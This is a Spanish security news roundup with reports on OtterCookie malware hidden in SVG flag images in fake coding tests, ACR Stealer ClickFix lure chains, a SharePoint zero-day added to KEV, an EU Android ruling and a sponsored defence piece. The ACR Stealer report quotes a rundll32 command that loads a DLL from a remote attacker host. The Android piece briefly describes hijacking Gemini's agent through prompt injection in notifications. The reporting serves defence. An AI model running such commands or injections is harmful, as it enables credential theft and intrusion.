Las pruebas de codificación falsas generan malware alineado con OtterCookie oculto en imágenes de banderas SVG – CYBERDEFENSA.MX

Se ha observado que los actores de amenazas norcoreanos vinculados a la campaña Contagious Interview emplean esteganografía en archivos de imágenes SVG para ocultar cargas útiles maliciosas como parte de una campaña que utiliza ofertas de trabajo falsas y desafíos de codificación.

«Cualquier usuario que ejecutara el proyecto terminó con una carga útil de cuatro etapas alineada con OTTERCOOKIE: un ladrón de credenciales de navegador y billeteras criptográficas, un ladrón de archivos, un troyano de acceso remoto (RAT) basado en Socket.IO y un ladrón de portapapeles», Elastic Security Labs dicho en un informe compartido con The Hacker News.

Los hallazgos resaltan una vez más el continuo ataque a los desarrolladores de software por parte de piratas informáticos patrocinados por el Estado alineados con la República Popular Democrática de Corea (RPDC) con el objetivo de robar datos confidenciales y saquear carteras de criptomonedas. La actividad está siendo rastreada bajo el nombre de REF9403.

El brazo de ciberseguridad de la plataforma holandesa de búsqueda y observabilidad empresarial dijo que descubrió la campaña después de que los actores de amenazas atacaran a miembros de su espacio de trabajo comunitario de Slack con señuelos de ingeniería social para supuestas ofertas de trabajo, destacando una nueva vía de acceso inicial no documentada previamente en ataques asociados con Contagious Interview, una sofisticada operación de ingeniería social en curso desde al menos diciembre de 2022.

Los mensajes, publicados por un usuario llamado Maxwell en el canal #jobs Slack a finales de mayo de 2026, buscaban un desarrollador experimentado para ayudar a actualizar su plataforma de comercio electrónico a una «arquitectura moderna y escalable que utiliza Next.js (v14), NestJS, PostgreSQL y Auth.js» junto con la integración de Stripe.

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Aquellos que expresaron interés en la oportunidad recibieron mensajes directos que les indicaban que completaran una evaluación de codificación como parte de la oferta de trabajo, una táctica estándar observada en las campañas de entrevistas contagiosas. La tarea implicó ejecutar un repositorio troyanizado que contenía malware diseñado para filtrar datos valiosos y configurar una puerta trasera Socket.IO.

Específicamente, los repositorios distribuidos como parte del esquema incorporan código completamente funcional pero también incorporan código malicioso en forma de imágenes SVG para evitar la detección.

«Si bien estos proyectos aparentemente legítimos funcionan perfectamente bien, el código malicioso se activa silenciosamente detrás de escena», dijo Elastic. «Las cargas útiles se dividen en fragmentos base64 dentro de comentarios HTML en cada imagen de bandera SVG dentro de un directorio de activos. Estos archivos parecen ser imágenes normales de banderas de países (AE.svg, AF.svg), pero cada archivo contiene un bloque de comentarios inyectado con datos codificados en Base64».

Luego, la carga útil se ensambla mediante un archivo JavaScript («serverValidation.js») presente en el repositorio. La cadena de ataque está diseñada de tal manera que el malware se ejecuta en cada inicio del servidor. Elastic dijo que las principales cargas útiles se superponen con OtterCookie, un malware multiplataforma que surgió por primera vez en septiembre de 2024.

OtterCookie «evolucionó de una herramienta básica para ejecutar comandos remotos y buscar claves criptográficas a un programa modular capaz de realizar un robo de datos más amplio con capacidad para verificar entornos de VM, instalar clientes de comunicación como socket.io para C2, filtrar información, ejecutar comandos de shell arbitrarios, cargar otros módulos para recopilar datos específicos e informar los resultados», Microsoft anotado allá por marzo.

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El malware incorpora cuatro módulos distintos que le permiten recopilar datos de navegadores web y carteras de criptomonedas, recopilar archivos que coincidan con una lista específica de extensiones, facilitar el control remoto persistente utilizando un troyano basado en Socket.IO que puede ejecutar comandos de shell, capturar contenido del portapapeles y soltar ejecutables de Windows.

Entre los archivos recopilados por OtterCookie se incluyen extensiones de herramientas de codificación de inteligencia artificial (IA) como .claude, .cursor, .gemini, .windsurf, .pearai y .llama, lo que sugiere que el actor de amenazas está refinando activamente su arsenal para aspirar la mayor cantidad de información posible.

Vale la pena señalar que el malware también muestra algunas superposiciones funcionales con un ladrón de datos y un troyano distribuido a través de paquetes npm falsos disfrazados de herramientas Rollup polyfill, lo que sugiere que los actores de la amenaza están buscando múltiples vectores de propagación.

«Esta campaña refuerza el hecho de que los desarrolladores siguen siendo un objetivo principal, donde el compromiso de un solo individuo puede proporcionar el acceso inicial necesario para permitir ataques de gran alcance a la cadena de suministro contra organizaciones posteriores», dijo Elastic. «El éxito de estas operaciones subraya cómo comprometer a un desarrollador individual puede proporcionar un camino hacia un impacto organizacional mucho más amplio».

La carrera hacia la autonomía militar ha comenzado, ¿podrá la infraestructura de información confiable mantener el ritmo? – CYBERDEFENSA.MX

Las fuerzas militares están bajo una presión cada vez mayor para desplegar capacidades autónomas más rápido que nunca. En Estados Unidos, el Reino Unido y la OTAN, nuevas inversiones, estrategias de defensa en evolución y vías de adquisición aceleradas están transformando la forma en que se entrega la capacidad, recompensando a los programas que pueden pasar del concepto al despliegue operativo a velocidad comercial.

Ahora la atención se centra en la infraestructura de información confiable que les permite operar juntos a la velocidad de la misión.

A medida que los aviones autónomos, los buques marítimos no tripulados, los sistemas terrestres, los satélites y las aplicaciones de misión basadas en IA se vuelven cada vez más conectados, también lo hace la información que los impulsa. La telemetría, el ISR, los datos de comando, los resultados de la IA, los flujos de trabajo del sensor al tirador y la inteligencia de la coalición deben moverse sin problemas entre plataformas, dominios y socios.

La fuerza futura no estará definida únicamente por los sistemas autónomos, sino también por la infraestructura de información confiable que los conecta.

La defensa ha entrado en una nueva fase

El impulso detrás de la autonomía militar es innegable. El Departamento de Guerra de Estados Unidos ha establecido un liderazgo dedicado para acelerar la capacidad no tripulada. NSPM-11 refuerza la importancia estratégica de la IA en toda la empresa de Seguridad Nacional. El presupuesto de defensa propuesto para el año fiscal 27 continúa con una inversión significativa en capacidad autónoma y modernización de la defensa.

En el Reino Unido, la Revisión Estratégica de la Defensa y el Plan de Inversión en Defensa colocan los sistemas autónomos en el centro del futuro diseño de la fuerza, respaldados por más de £5 mil millones de inversión durante los próximos cuatro años. Los programas ya están ampliando las pruebas y la experimentación autónomas, mientras que las iniciativas del Pilar II de AUKUS y de la OTAN continúan acelerando la colaboración aliada en materia de autonomía y tecnologías de defensa avanzadas.

En conjunto, estos acontecimientos apuntan a una marcada aceleración de la inversión occidental en autonomía militar.

Para los líderes del programa, la dirección es clara; capacidad de campo más rápidamente, integrar la innovación comercial antes y ofrecer una ventaja operativa sin comprometer la eficacia de la misión.

La conversación está cambiando

Gran parte de la conversación sobre la autonomía militar todavía se centra en las plataformas.

  • ¿Cuántos drones se pueden desplegar?
  • ¿Con qué rapidez se pueden implementar nuevas capacidades autónomas?
  • ¿Cómo puede la IA aumentar la eficacia operativa?

Éstas son preguntas importantes, pero son sólo una parte del panorama completo.

La capacidad autónoma ofrece su mayor valor cuando opera como parte de una misión conectada. Todo sistema autónomo debe intercambiar información confiable con operadores, aplicaciones de inteligencia artificial, entornos de comando y socios de coalición. Los datos de la misión rara vez permanecen dentro de una única plataforma, red o clasificación.

Las misiones autónomas dependen de que la información confiable se mueva de manera segura y eficiente a través de toda la arquitectura operativa.

A medida que los programas aceleran la adopción, la oportunidad pasa de simplemente implementar más sistemas autónomos a permitir que esos sistemas funcionen juntos con confianza.

Generar confianza para la defensa de velocidad comercial

La aceleración de la innovación en defensa está cambiando las expectativas en el gobierno y la industria. Los programas están adoptando cada vez más tecnologías comerciales a través de vías de adquisición rápida, adquisiciones adaptativas y modelos de entrega iterativos. La capacidad de desplegar capacidad más rápidamente se está convirtiendo en una ventaja estratégica por derecho propio.

Sin embargo, la velocidad comercial no siempre debería requerir arquitecturas de información personalizadas que tarden años en integrarse antes de que se pueda lograr la capacidad operativa. Una infraestructura de información confiable debería permitir que los programas adopten capacidades autónomas al mismo ritmo y flexibilidad que exige la defensa moderna.

Eso requiere una infraestructura diseñada para transferir información confiable de la misión de forma segura entre plataformas, clasificaciones y entornos de coalición desde el principio, no agregada más adelante como un esfuerzo de integración separado.

Repensar cómo se establece la confianza

A medida que las misiones autónomas se definen cada vez más por software, los programas tienen la oportunidad de repensar cómo se establece la confianza en entornos de misión crítica.

El software seguirá desempeñando un papel fundamental en la capacidad autónoma, la inteligencia artificial y los sistemas de misión. Al mismo tiempo, la defensa ha dependido durante mucho tiempo de otra solución en sus entornos de mayor seguridad, lo que exige la separación del hardware.

La separación impuesta por hardware (hardsec) establece confianza dentro de la lógica del hardware en lugar de depender únicamente de los controles del software. Eliminar el sistema operativo del límite de confianza reduce la complejidad de la arquitectura y al mismo tiempo admite el movimiento de información confiable a través de entornos seguros.

Este enfoque ha protegido algunos de los entornos más críticos de la defensa durante años. Hoy, proporciona una base que se alinea naturalmente con la velocidad y escala de la transformación autónoma. En lugar de frenar la innovación, la infraestructura de información especialmente diseñada permite a los programas adoptar nuevas capacidades con confianza y al mismo tiempo respaldar el ritmo de la misión.

La fuerza del futuro depende de misiones conectadas

La próxima generación de capacidad de defensa no se medirá simplemente por el número de sistemas autónomos desplegados. Se medirá por la eficacia con la que esos sistemas intercambian información confiable a través de tierra, mar, aire y espacio; cuán perfectamente se integran con la IA y los sistemas de comando; y con qué confianza las fuerzas aliadas pueden colaborar en todos los ámbitos de seguridad.

Diseñado específicamente para la defensa, Everfox proporciona la plataforma de información confiable que permite que las misiones autónomas y de coalición intercambien de forma segura información de misión crítica entre sistemas, clasificaciones y socios. Al combinar la separación impuesta por hardware con el intercambio confiable de información entre dominios, ayudan a las organizaciones de defensa a adoptar rápidamente capacidades autónomas mientras mantienen la velocidad, la interoperabilidad y la seguridad que exigen las misiones modernas.

Más información sobre la infraestructura de información confiable para operaciones autónomas o hable con un experto de Everfox sobre su misión autónoma.

Acerca del autor: Everfox | Everfox ofrece conectividad confiable para proteger los entornos más críticos del mundo y salvaguardar los datos confidenciales que impulsan la ventaja de tomar decisiones.

Creado para operaciones de misión crítica, Everfox protege lo más importante asegurando cómo se mueven los datos, cómo acceden los usuarios a ellos y cómo se neutralizan las amenazas en todos los dominios. Permitimos la velocidad de la misión y la colaboración segura entre redes, dominios y aliados, al mismo tiempo que garantizamos que los datos que impulsan la IA y el análisis avanzado sigan siendo confiables y protegidos.

No sólo defendemos los sistemas; entregamos decisión dominio. www.everfox.com/autonomous

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La UE ordena a Google que abra el micrófono, la cámara y la pantalla de Android a los asistentes de inteligencia artificial rivales

El jueves, la Comisión Europea ordenó a Google que diera a los asistentes de inteligencia artificial rivales el mismo alcance en Android que Gemini ya tiene: la cámara, el micrófono, lo que sea que esté en la pantalla, una palabra de activación que se activa con la pantalla apagada y la capacidad de controlar otras aplicaciones en segundo plano imitando toques y tecleos.

Google debe enviarlo en la próxima versión importante, Android 18, y a más tardar el 1 de agosto de 2027.

Ese es uno de dos decisiones de especificación vinculantes adoptado el 16 de julio en virtud de la Ley de Mercados Digitales, seis meses después de que la Comisión abriera el procedimiento el 27 de enero.

El segundo hace que Google entregue consultas de búsqueda, clics y datos de clasificación anónimos a motores de búsqueda rivales y a chatbots de inteligencia artificial que realizan búsquedas, por una tarifa basada en el costo. Tampoco lo es una multa.

Los procedimientos de especificación sólo dicen lo que tiene que construir un guardián; la Comisión poder separado para abrir un caso de incumplimientomultas incluidas, permanece intacta. Android es utilizado por alrededor del 60% de los usuarios de móviles europeos.

Cinco características cerradas, seis no

La decisión de Android cubre 11 características del sistema operativo. Google puede exigir una certificación antes de que una aplicación toque cinco de ellos, lo que las medidas publicadas funciones restringidas de llamadas:

  • Acceso centralizado a las aplicaciones de datos en el dispositivo y opte por compartir, hoy AppSearch.
  • Inteligencia sensible al contexto, la maquinaria siempre activa detrás de sugerencias proactivas como Magic Cue.
  • Integración estructurada en el dispositivo, es decir, acciones de aplicación y funciones de aplicación.
  • Automatización de pantalla, que Android implementa como Control por Computador.
  • Integración del sistema: configuración, medios, capturas de pantalla, notificaciones y energía.

El párrafo 55 detalla el tercero y apunta directamente a las propias aplicaciones de Google. Un asistente certificado puede recuperar y redactar Gmail, crear y administrar eventos de Calendario, extraer contenido de Drive y Docs, activar la navegación de Maps, controlar la reproducción de YouTube y consultar el historial de reproducciones, leer y escribir SMS, MMS y RCS en Mensajes, y realizar llamadas telefónicas.

Ciberseguridad

Los otros seis no tienen ningún requisito de certificación: datos ambientales, detección de palabras activas siempre activas, invocación de pulsación larga, modelos en el dispositivo a nivel de sistema, implementación de modelos de terceros y ejecución en segundo plano.

El párrafo 119 los abre a todos los terceros, incluidas las aplicaciones instaladas por el usuario, y prohíbe a Google restringir el tipo o caso de uso de la aplicación que los llama.

Los datos ambientales significan entrada de micrófono, audio del sistema, cámara, contenido de la pantalla, ubicación y sensores como el acelerómetro, de forma continua y en segundo plano, bajo las mismas indicaciones de consentimiento que obtienen los propios servicios de inteligencia artificial de Google.

Esas indicaciones son las más ligeras: el resumen del caso de la Comisión señala que los servicios propios de Google llegan a los sensores hoy con procesos de consentimiento e indicadores de privacidad reducidos, mientras que los terceros obtienen el consentimiento en tiempo de ejecución por uso.

La detección de palabras activas utiliza el DSP de bajo consumo, por lo que sobrevive a una pantalla bloqueada y al ahorro de batería, y puede seguir grabando hasta que el usuario finalice la solicitud. Éste sólo llega a los teléfonos que ya llevan el chip. Permitir que varios asistentes escuchen a la vez llega a Android 19 y 1 de agosto de 2028.

El consentimiento aún lo controla todo, y Google aún puede exigir el aislamiento y el cifrado del proceso. Lo que no puede hacer, para estos seis, es decidir quién puede preguntar. Si quiere que el sensor se alimente sin procesar detrás de una puerta, las medidas le dejan una ruta: presentar una solicitud razonada que demuestre una buena causa y la Comisión puede mover la característica a la lista restringida.

El programa que Google tiene que escribir

Para los cinco cerrados, Google tiene que establecer un programa de asistentes de IA calificados, permitir que autoridades de certificación confiables de terceros certifiquen a los asistentes de forma gratuita, aceptar esas certificaciones sin imponer condiciones y nunca revocarlas.

También redacta los términos del programa TCA y decide quién es aprobado como certificador, en términos que tienen que ser razonables y no discriminatorios, y que tiene que aprobar con la Comisión dos meses antes de cambiar. Por lo tanto, no puede revocar la certificación de un asistente por parte de una TCA. Puede revocar la TCA.

La barra en sí está tapada. Google puede probar si un asistente reconfirma la intención del usuario antes de acciones sensibles o irreversibles, si minimiza la divulgación involuntaria de datos, si borra la seguridad básica de la aplicación móvil y si está reforzado contra riesgos de agencia que anularían la intención del usuario.

Las medidas ofrecen insumos, cadena de suministro, integración, integridad del modelo e infraestructura como ejemplos de ellas. Cualquier cosa pasada necesita primero a la Comisión, y las mismas condiciones obligan a Géminis.

Ciberseguridad

La suspensión es limitada: Google necesita un conjunto consistente de evidencia de prácticas que causan daños severos e inmediatos, y tiene que entregar esa evidencia a la Comisión y a las autoridades de certificación. Las apelaciones obtienen una respuesta en el plazo de un mes. También hay una puerta alrededor de la puerta.

El párrafo 135 obliga a Google a permitir que los usuarios den su consentimiento para eludir el requisito de certificación, por servicio, por dispositivo, sin enterrar el interruptor detrás del modo desarrollador.

Los términos preliminares vencen el 1 de febrero de 2027, los términos finales y las solicitudes abiertas el 1 de mayo de 2027.

Si envías una aplicación de Android

Para agosto de 2027, un asistente certificado, o uno no certificado al que el usuario saludó, podrá abrir su aplicación en una pantalla virtual, leer su pantalla y hacer clic en ella mientras el usuario hace otra cosa.

La lista de funciones de la función incluye permitir que una aplicación controlada bloquee vistas confidenciales de la aplicación controladora. Conecte esa decisión antes de la versión beta de Android 18.

Existen otras dos salidas sólo si Google decide crearlas: bloquear la automatización en partes de su aplicación y mantener el contexto de su aplicación alejado de los componentes de sugerencias proactivas. La decisión permite ambas cosas. No requiere ninguna de las dos cosas.

El conjunto de datos de búsqueda

El Se publica el método de anonimización.y realiza tres pasadas. Elimine los identificadores directos y los atributos que permiten que los registros se vuelvan a unir: nombres de usuario, direcciones IP, marcas de tiempo precisas, formato de entrada.

Suprima cualquier registro cuya consulta contenga términos raros como nombres completos, contraseñas, direcciones postales o números de cuentas bancarias, o que sean inusualmente largos. Luego generalice los metadatos hasta que cada usuario se ubique en un grupo de al menos 1000 personas que compartan ubicación, tipo de dispositivo e idioma de consulta, y el 95 % llegue a grupos de 29 000 o más.

Los contratos incluyen el resto: procesamiento protegido, sin vinculación a otros conjuntos de datos, sin divulgación posterior, sin intentos de reidentificación, una auditoría independiente antes del acceso y anualmente después.

Los destinatarios necesitan 50.000 usuarios mensuales promedio de la UE durante el año pasado, no pueden ser sancionados y no pueden ser controlados por un país que la UE trata como un riesgo grave y estructural de ciberseguridad o protección de datos. Los datos llegan con al menos siete días de retraso y se cortan después de cinco años por beneficiario. Google también puede evaluar, antes de compartir algo, si un destinatario específico presenta riesgos graves de seguridad cibernética y protección de datos.

El tiempo aquí es corto: formulario de elegibilidad y una página web del beneficiario para fines de agosto, conjunto de datos terminado para noviembre, fijación de precios para enero de 2027.

La objeción de Google

Kent Walker, presidente de asuntos globales de Google, dijo que la decisión de Android «Amenaza la seguridad del dispositivo al otorgar permisos de dispositivo poderosos y sensibles a aplicaciones externas». Dijo que los fabricantes de teléfonos examinan a los asistentes hoy en día y que la decisión elimina esa protección.

En la mitad de la Búsqueda, su posición es que la anonimización no es lo suficientemente buena, que no se pregunta a los usuarios y que las consecuencias afectan a los secretos comerciales y la seguridad nacional. Citó a ENISA, la agencia de ciberseguridad de la UE, que escribió este mes que «Los fundamentos de seguridad importan más que nunca en la era de la IA».

Ese documento de ENISA trata sobre modelos de frontera que reducen la ventana entre el descubrimiento y la explotación de vulnerabilidades hacia cero. No menciona Android, interoperabilidad o permisos de aplicaciones.

La objeción no es imaginaria. Géminis es la prueba. La lista de contexto digital de la decisión ofrece notificaciones, SMS, contenidos de pantalla y capturas de pantalla de asistentes de terceros. El contenido de la notificación es el canal que SafeBreach utilizó para secuestrar el propio agente de utilidades de Android de Gemini mediante inyección indirecta, sin necesidad de ninguna aplicación maliciosa en el dispositivo.

Google mitigó ese problema en el lado del servidor en noviembre de 2025, antes de que SafeBreach se publicara el mes pasado. El riesgo de insumos es ahora una de las cosas contra las que debe prepararse un candidato a asistente. Google escribe la prueba.

Lo que decía el borrador de abril

Las salvaguardias que Walker dice que faltan son las que llegaron después de que Google se quejara. La Comisión proyecto de medidas a partir del 27 de abril no tiene funciones restringidas, ni programa de asistente de IA calificado ni autoridades de certificación.

El borrador del párrafo 134 prohibía a Google restringir quién se beneficia y permitía un proceso de verificación solo si estaba dirigido por terceros neutrales e independientes y se aplicaba únicamente en Play Store. La final permite a Google certificar a los solicitantes.

Las cláusulas de integridad del borrador prohibían límites a los propósitos, beneficiarios, aplicaciones, tecnologías y casos de uso; los pernos finales «a menos que se especifique lo contrario en este Anexo» en cada uno. El borrador de la Búsqueda era aún más flexible: sin umbral de usuarios, sin requisitos de capital, sin exclusión de riesgo país y un grupo mínimo de metadatos de 50 en lugar de 1.000.

Los plazos avanzaron en la misma dirección. La mayoría de las funciones de Android debían entregarse el 1 de enero de 2027 en el borrador. Aterrizan el 1 de agosto de 2027 en la decisión. Las palabras clave concurrentes van desde esa misma fecha de enero hasta agosto de 2028. La Comisión dice que las medidas finales tienen debidamente en cuenta lo que Google y terceros presentaron durante la consulta, y la diferencia muestra lo que se compró.

Lo que Google no consiguió es discreción. Las medidas de integridad deben ser estrictamente necesarias, justificadas por evidencia objetiva que debe conservar, verificables por alguien que no sea Google y aplicadas de manera idéntica a sus propios servicios.

No podrá imponer «un mayor nivel de integridad hacia terceros que el que se aplica a sí mismo». Debe avisar a la Comisión con cuatro semanas de antelación antes de aplicarla. La única forma de evitarlo es un cambio que no esté orientado al usuario, sea puramente técnico, idéntico para Google y todos los demás, e inofensivo para terceros. Los cuatro, o aviso.

Así pues, la lucha se traslada al 1 de febrero de 2027, cuando el borrador del programa condicione las tierras. Google pasó la primavera argumentando que los asistentes no certificados no deberían tener estos permisos y ganó un régimen de certificación que no existía en abril. Ahora tiene que escribirlo, en público, y una vez que conoce la definición, se le lee directamente a Géminis.

ACR Stealer utiliza señuelos ClickFix para robar tokens del navegador y archivos de Microsoft 365 – CYBERDEFENSA.MX

ACR Stealer, un ladrón de información en circulación desde 2024, está saliendo de las redes empresariales con contraseñas de navegador guardadas, tokens de sesión en vivo, archivos PDF, documentos de Microsoft 365 y archivos de carpetas sincronizadas de OneDrive y SharePoint.

Entra porque alguien pegó un comando en un cuadro Ejecutar y presionó Enter. microsoft establecido dos de las cadenas de entrega el jueves. Su equipo Defender Experts, el brazo de detección administrado de la compañía, había observado el aumento de la actividad de ACR Stealer en los entornos de los clientes desde finales de abril hasta mediados de junio, y dice que las campañas están «utilizando con éxito señuelos ClickFix para robar credenciales de navegador, tokens de autenticación y documentos confidenciales».

Ambas cadenas se abren con el mismo mensaje y luego se dividen: una deja rastros en el disco, la otra se ejecuta casi por completo en la memoria. La guía de remediación de Microsoft les dice a las víctimas que revoquen los tokens, no solo que roten las contraseñas.

Una carga útil en los píxeles

El mensaje probablemente llegue a través de publicidad maliciosa o resultados de búsqueda manipulados por SEO, según el informe. La cadena sin archivos comienza cuando se genera el comando pegado mshta.exe para extraer contenido HTA remoto. Un cargador de VBScript integrado se apoya en objetos COM para decodificar y activar PowerShell; esa etapa genera una identificación de víctima, deshabilita la validación de certificados y ejecuta lo que recupera en la memoria.

Lo que recupera es un JPEG de un servidor de imágenes, con la carga útil en los píxeles. Las rutinas personalizadas lo crean, lo descifran, lo descomprimen y lo ejecutan de manera reflexiva. Luego va por Chrome y Edge, leyendo el Login Data y Web Data bases de datos e invocar DPAPI para descifrar las contraseñas, cookies y tokens que contienen. Los archivos PDF en el escritorio y en Descargas también van.

El 26 de mayo, Brad Duncan, responsable del SANS Internet Storm Center documentó una infección de Windows rastreó hasta una página que se hacía pasar por Claude, el asistente de inteligencia artificial de Anthropic, a la que se accedía a través de anuncios maliciosos de Google y que a menudo se escondía detrás sites.google.com URL. La página ofrecía instrucciones de macOS cuando se abría en una Mac y instrucciones de Windows cuando se abría en Windows.

Ciberseguridad

Microsoft nunca nombra el señuelo. Dos de los indicadores de su tabla de la Campaña 2, creativecommunityinfo[.]art y enhanceblabber[.]ccfiguran como host de carga útil y C2. The Hacker News comparó ambos con la cadena de Duncan, que recorría los subdominios de cada uno siete semanas antes, y el informe de Microsoft cita su diario entre las referencias.

Esa cadena también sacó un JPEG de 628 KB de ImgBB, un servicio de alojamiento de imágenes. Lo marcó como parte de la infección y no obtuvo nada: «tampoco pude encontrar ningún signo evidente de datos incrustados».

canario rojo había registrado señuelos de la marca Claude un mes antes, entregando ACR Stealer a través de páginas falsas de Claude Code en GitLab, como claude-desktop[.]gitlab[.]io.

La otra cadena deja huellas

La primera cadena de Microsoft escribe en el disco, lo que deja a los defensores más con qué trabajar. El comando pegado extrae una DLL directamente de un recurso compartido WebDAV a través de HTTPS, utilizando un directorio GUID y un nombre de archivo creado para pasar como otra cosa; el ejemplo del informe es google.ct.

Red Canary publicó la misma forma en su informe de mayo, a partir de la telemetría de abril, semanas antes del artículo de Microsoft:

"C:\Windows\system32\rundll32.exe" \\sphere-api.dialectosphere.in[.]net\05fe317c-0981-4de2-bc8a-930d369db441\ck-3d80df5d12cdfe6450a782fc87bf66b444.google,#1

Dos de las tres variantes que Defender Experts vio utilizar pushd Primero debe montar el recurso compartido remoto como una unidad local temporal, de modo que la carga útil se ejecute a través de lo que parece una ruta local. El más sigiloso envuelve eso en conhost.exe --headless para cerrar la ventana de la consola y oculta las cadenas para pushd, rundll32y el host remoto detrás de la expansión retrasada de las variables de entorno.

Lo que sigue es PowerShell ofuscado. Coloca un ZIP en una carpeta debajo %LocalAppData%\Temp con un nombre inofensivo; El ejemplo de Microsoft es LogiOptionsPlus. un paquete pythonw.exe luego inicia el script Python, por lo que no aparece nada en la pantalla. El instalador borra las copias más antiguas antes de realizar la instalación, lo que lo convierte en un actualizador.

Persiste a través de una tarea programada oculta que se hace pasar por una actualización de software, copia marcas de tiempo notepad.exe en sus propios archivos y borra el historial de PowerShell detrás de él. La última etapa permanece en la memoria y se ejecuta a través de la API de Windows Fiber.

En un subconjunto de estas intrusiones, un segundo cargador de Python se comunica con los puntos finales RPC públicos de blockchain y la infraestructura de nodos Web3, probablemente extrayendo una carga útil o una dirección C2 de un libro de contabilidad público. Microsoft llama a la técnica EtherHiding: coloque el puntero en un contrato inteligente y no quedará ningún solucionador controlado por el atacante que aprovechar.

Sin errores, sin números

Ninguna cadena explota una vulnerabilidad. Ambos heredan exactamente lo que el usuario que inició sesión ya tiene, y cada capa posterior, el montaje WebDAV, la extracción de píxeles y la transferencia en memoria, solo se ejecuta porque una persona leyó un mensaje y presionó Enter. No hay CVE en esta historia. La aplicación de parches no elimina la ruta de pegar y ejecutar.

Microsoft dice que los señuelos están funcionando, pero nunca lo cuantifica. El informe no proporciona un recuento de víctimas, ni un número de clientes afectados, ni una base de referencia para el aumento que informa.

La telemetría de abril de Red Canary al menos tiene números. ClearFake, un clúster de inyección web que ha estado alimentando a ACR Stealer desde al menos marzo de 2025, ocupó el puesto número uno en su lista de amenazas más frecuentes por primera vez ese mes, y ACR Stealer entró entre los diez primeros empatando en el sexto lugar.

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El clúster se entrega a través de JavaScript inyectado en sitios comprometidos y el informe de Microsoft no lo menciona en ninguna de las cadenas.

¿De quién es este ladrón?

Microsoft tiene cuidado con lo que afirma. Vincula la actividad con ACR Stealer según el comportamiento observado y el arte posterior a la explotación, se compara con lo que se sabe públicamente sobre la infraestructura de la familia y no nombra ningún actor de amenaza. La precaución se gana.

ACR, también escrito como AcridRain, fue comercializado en foros de habla rusa por un actor conocido como SheldIO, que cerró las ventas en julio de 2024. Las cuentas se dividieron sobre lo que sucedió después. eSentire dice que el código fuente se vendió. El relato de Proofpoint difiere: el mismo canal de Telegram anunció el cierre, no un adiós del equipo, y el panel de Amatera apareció cinco meses después.

En cuanto al cambio de marca, están de acuerdo. Punto de prueba reportado en junio de 2025 que «ACR Stealer fue significativamente actualizado y renombrado como Amatera Stealer», con un precio de $199 por mes a $1,499 por año. Red Canary trata a ACR y Amatera como una familia y evalúa al propio ACR como un GrMsk Stealer actualizado.

Una detección de julio de 2026 denominada ACR Stealer es una llamada de comportamiento en una base de código cuyo nombre ha cambiado al menos una vez y puede haber cambiado de propietario. La etiqueta describe el código. No te dice quién lo dirige.

donde detenerlo

Un control se encuentra antes de cada técnica anterior: ninguna cadena se ejecuta sin que un usuario pegue un comando en el cuadro de diálogo Ejecutar.

  • Corta el vector. eSentire recomienda eliminar el mensaje Ejecutar a través de GPO y bloquear mshta.exe a través de AppLocker o WDAC.
  • Utilice reglas de control de aplicaciones y reducción de la superficie de ataque para que PowerShell, Python, mshta.exey rundll32.exe no puede iniciar contenido entregado por Internet desde Downloads, Tempo %LocalAppData%.
  • Caza rundll32.exe ejecutándose sin parámetros de línea de comando mientras se establece una conexión de red, que es la oportunidad de detección de Red Canary para esta familia. Agregue tareas programadas que se hacen pasar por actualizaciones de software, tiempos de espera y borrado del historial de PowerShell.
  • En un host sospechoso, aísle, rote credenciales, revoque tokens y verifique las conexiones salientes a recursos compartidos remotos y servicios de alojamiento de imágenes.

Microsoft envió tres consultas de búsqueda de Defender XDR y 16 dominios de campaña con el informe.

Esos indicadores son una porción, y el informe así lo dice: representativos, no el rango completo de la familia, con más campañas e infraestructura probablemente activas. Los dominios rotan. La pregunta en el frente no, porque funciona. Los señuelos se superponen en lugar de reemplazarse: Red Canary vio CAPTCHA falsos y páginas de Claude falsas en la misma telemetría de abril.

CISA agrega SharePoint RCE Zero-Day CVE-2026-58644 explotado a KEV – CYBERDEFENSA.MX

La Agencia de Seguridad de Infraestructura y Ciberseguridad de EE. UU. (CISA) el jueves agregado una falla de seguridad recientemente parcheada que afecta a Microsoft SharePoint Server y sus vulnerabilidades explotadas conocidas (KEV), que exige que las agencias del Poder Ejecutivo Civil Federal (FCEB) apliquen las correcciones antes del 19 de julio de 2026.

La vulnerabilidad en cuestión es CVE-2026-58644 (Puntuación CVSS: 9,8), una vulnerabilidad de deserialización crítica de datos no confiables que permite a un atacante no autorizado ejecutar código arbitrario.

«En un ataque basado en red, un atacante autenticado como al menos propietario del sitio podría escribir código arbitrario para inyectar y ejecutar código de forma remota en el servidor SharePoint», Microsoft dicho en un aviso publicado a principios de esta semana.

Redmond señaló que la vulnerabilidad se puede explotar de forma remota a través de Internet y advirtió que la complejidad del ataque es baja por dos razones:

  • Un atacante no requiere conocimientos previos significativos del sistema
  • Un atacante puede lograr un éxito repetible con la carga útil contra el componente vulnerable
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La vulnerabilidad afecta a las siguientes versiones:

  • Edición de suscripción de Microsoft SharePoint Server
  • Servidor Microsoft SharePoint 2019
  • Servidor empresarial Microsoft SharePoint 2016

Se han aplicado parches para el defecto. lanzado como parte de las actualizaciones del martes de parches publicadas el 14 de julio de 2026. Desde entonces, Microsoft revisó su boletín para aclarar que CVE-2026-58644 ha sido explotado en la naturaleza, lo que significa que la deficiencia se utilizó como arma como un día cero antes de que las correcciones estuvieran disponibles.

El desarrollo surge como CISA. prevenido de explotación activa de múltiples vulnerabilidades de SharePoint Server, incluidas CVE-2026-32201, CVE-2026-45659, CVE-2026-56164 y CVE-2026-58644, que podrían permitir a los actores de amenazas obtener acceso no autorizado a instancias locales.

«Estas vulnerabilidades afectan a todas las versiones locales compatibles de SharePoint Server (Subscription Edition, 2019 y 2016) e implican el establecimiento de ejecución remota de código (RCE) y actividades posteriores a la explotación, como el robo de claves de máquina de Internet Information Services (IIS) y la realización de técnicas de deserialización, para ganar persistencia e implementar malware», señaló el organismo federal de vigilancia de la ciberseguridad.

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CISA ha descrito las siguientes medidas de endurecimiento para contener la amenaza:

  • Aplique los últimos parches y actualizaciones de seguridad de Microsoft, verifique que se hayan instalado correctamente y acorte los ciclos de aplicación de parches cuando sea posible.
  • Verifique que la interfaz de escaneo antimalware (AARMI) la integración está habilitada para cada aplicación web de SharePoint.
  • Busque y elimine artefactos de intrusión, incluidas herramientas de recolección de claves de máquina, antes de rotar las claves de máquina de IIS para evitar el robo de claves.
  • Establecer mecanismos de registro personalizados para detectar y monitorear las actividades de explotación.
  • Evite exponer los servidores SharePoint directamente a Internet a menos que sea necesario.
